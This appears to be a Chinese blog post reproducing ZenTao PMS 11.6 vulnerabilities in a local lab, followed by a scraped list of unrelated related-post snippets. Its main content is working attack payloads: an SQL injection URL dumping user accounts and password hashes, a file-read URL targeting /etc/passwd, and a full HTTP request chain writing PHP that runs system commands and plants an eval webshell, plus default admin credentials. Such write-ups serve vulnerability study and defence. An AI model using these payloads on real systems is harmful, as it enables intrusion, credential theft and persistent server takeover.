禅道全版本rce漏洞复现笔记

漏洞说明

禅道项目管理软件是一款国产的,基于LGPL协议,开源免费的项目管理软件,它集产品管理、项目管理、测试管理于一体,同时还包含了事务管理、组织管理等诸多功能,是中小型企业项目管理的首选,基于自主的PHP开发框架──ZenTaoPHP而成,第三方开发者或企业可非常方便的开发插件或者进行定制。

此次发现的漏洞正是ZenTaoPHP框架中的通用代码所造成的的,因此禅道几乎所有的项目都受此漏洞影响。本次漏洞复现以ZenTaoPMS.11.6版本作为演示

环境搭建

至此环境搭建成功

漏洞复现

漏洞1 SQL注入

首先我们登录admin/CD87691043cs账户修改默认密码,创建一个普通Test0001/1qaz2wsx3edc!@#$用户并登录

Payload

http://127.0.0.1/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user

Poc访问结果如下:

漏洞2 文件读取

Payload

http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=/etc/passwd

Poc访问结果如下:

由于本地环境是window系统,所以没有回显,我们在xamppzentaomoduleapi目录下新建一个test文件,读取

http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=test

漏洞3 RCE

利用上面的文件读取来执行命令

Payload1

POST /zentao/api-getModel-editor-save-filePath=1111 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: lang=zh-cn; device=desktop; theme=default; windowWidth=2426; windowHeight=796; zentaosid=vqruohhgn7qbhveakg04h9e267

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

fileContent=<?php phpinfo()?>

先写入一个phpinfo,再读取访问

需要给物理路径加上一层才能包含成功

http://127.0.0.1/zentao/api-getModel-api-getMethod-filePath=1111/1

Payload2

fileContent=<?php system('whoami');?>

Payload3(一句话)

fileContent=<?php file_put_contents('E://CMS/ZenTaoPMS/xampp/zentao/www/xxx.php.aaa', '<?php @eval($_REQUEST["x"]);?>');?>

这里是window系统,所以写入绝对路径,绝对路径可以同样用fileContent=<?php getcwd()?>获取

http://127.0.0.1/zentao/xxx.php.aaa?x=phpinfo();

PS:最好使用linux系统安装,windows不要使用一键安装包安装,windows系统安装集成版的话根目录下的php代码好像做了限制,无法执行。

参考链接

禅道linux一键安装漏洞,禅道全版本rce漏洞复现笔记相关推荐

  1. struts2漏洞监测_全版本struts2漏洞练习

    docker中有struts2全版本的漏洞平台 1.首先在docker中进行下载: # docker pull 2d8ru/struts2 2.其次运行:(48729为物理机的端口,可随意指定) #  ...

  2. 禅道linux一键安装漏洞,禅道漏洞第二弹后台读写任意文件/getshell

    漏洞1: 任意文件写入漏洞 自评风险:严重 问题出在这里 这里新建方法的时候,其实会写到限定目录的,限定后是无法访问的所以这里,即使成功写也无法利用.不过,我们能跳出它的限制 老规矩,看poc POS ...

  3. 【服务器】Linux一键安装web环境全攻略(阿里云服务器)(Centos )

    Centos 系统下的全能Web环境一键安装程序 热点 Round Serv 是Centos 系统下的全能Web环境一键安装程序 集成php jsp .net asp cgi python环境.和My ...

  4. w10系统自带linux系统,win10系统居然内置有Linux一键安装 新手有福了

    花火网消息,也许很多小伙伴都知道Linux系统,但是苦于不会安装,这是一个大问题,其实这对于Windows10系统的用户来说完全不是问题,因为实际上Windows10系统内置有Linux一键安装,下面 ...

  5. Linux一键安装jdk (jdk-8u212-linux-x64.tar.gz 免费下载)

    Linux一键安装jdk 思路 #第1步:提示用户安装jdk#第2步:删除centos自带的jdk#第3步:创建/usr/local/java目录,进入目录#第4步:下载jdk安装包#第5步:解压jd ...

  6. linux系列安装python3.0以上的版本

    #linux系列安装python3.0以上的版本 linux 是自带了python2.x版本的,但是我们一般都是用python3.x版本 我是用虚拟机的liunx,不知道是我电脑的问题还是什么,我只要 ...

  7. ECSHOP全版本注入漏洞分析

    ECSHOP全版本注入漏洞分析 2014-04-03 10:34:52|  分类: Pentest-skills |举报 |字号 订阅 下载LOFTER 我的照片书  | 初学PHP,看了两天语法,找 ...

  8. linux一键安装node+npm

    分享一个linux下一键安装node+npm脚本. 使用方式为: ./install-node.sh,然后输入版本号,node.js版本查询 切记不需要加 sudo 执行!!! 默认安装10.15.0 ...

  9. aria2 linux一键安装,Aria2一键安装及管理脚本,搭建AriaNg前端

    说明:Aria2作为一款linux下的下载神器,可以下载http资源.种子文件.磁力链接等,功能强大,就不过多介绍了,此前提到过Aria2安装方法,这里再说个逗比大佬的一键脚本,很方便,推荐使用. 一 ...

最新文章

  1. GPT-2的大规模部署:AI Dungeon 2 如何支撑百万级用户
  2. 马化腾:微信将被谁颠覆,领衔下一代互联网的终端居然是?
  3. java 8 语法糖_Java8的lamada算是一种语法糖吗?
  4. helm发布自定义Chart:指定namespace、设置NodePort
  5. mpvue微信小程序http请求-fly.js
  6. springsecurity 登录失败_Spring Security 实战干货: 401和403状态
  7. Dotnet Core应用跨框架版本运行
  8. sublime 安装 插件
  9. 远程过程调用失败_快速失败机制amp;失败安全机制
  10. java 盘符 系统_给想学java的小白们的福利——java开发入门
  11. bash脚本运行报错问题原因及解决方法
  12. 【不积跬步_无以至千里】 数学知识(不定时整理)
  13. CorelDRAW插件-CPG插件开发-环境搭建-VS2017-TLB文件-CDR插件
  14. python如何爬取百度云_python如何爬取百度云连接方法指导
  15. LS1043A 查看 MAC、BMI、QMI寄存器, 查看网口发包丢包情况
  16. 通过adb操作安卓亮屏、设置背光亮度、解锁、打开app
  17. JavaScript - H5 网页拨打电话功能、发送短信、发送邮件(支持 HTML 与 JS 形式)点击自动调起手机拨打并填充手机号
  18. jQuery - end方法的用法
  19. nginx反向代理非80端口/nginx反代非80端口
  20. 小程序传值对象数值到另一个页面大小限制

热门文章

  1. ADB为一加3T开启DCI-P3色域和阅读模式
  2. matlab读二进制文件代码,[Matlab+C/C++] 读写二进制文件
  3. 环信IM(PC-WEB端整体实现)
  4. code: ‘MODULE_NOT_FOUND‘, Error: Cannot find module ‘cors‘
  5. FastApi-19-Token校验
  6. 滚动到后,如何使div停留在屏幕顶部?
  7. DSMM数据安全概述
  8. Android - 直播上下滑动布局(2)
  9. pycharm CE 2019 调整字体,一图看懂
  10. linux修复cpu问题,Linux中存在着崩溃的CPU漏洞?这里教你使用3个步骤查找修复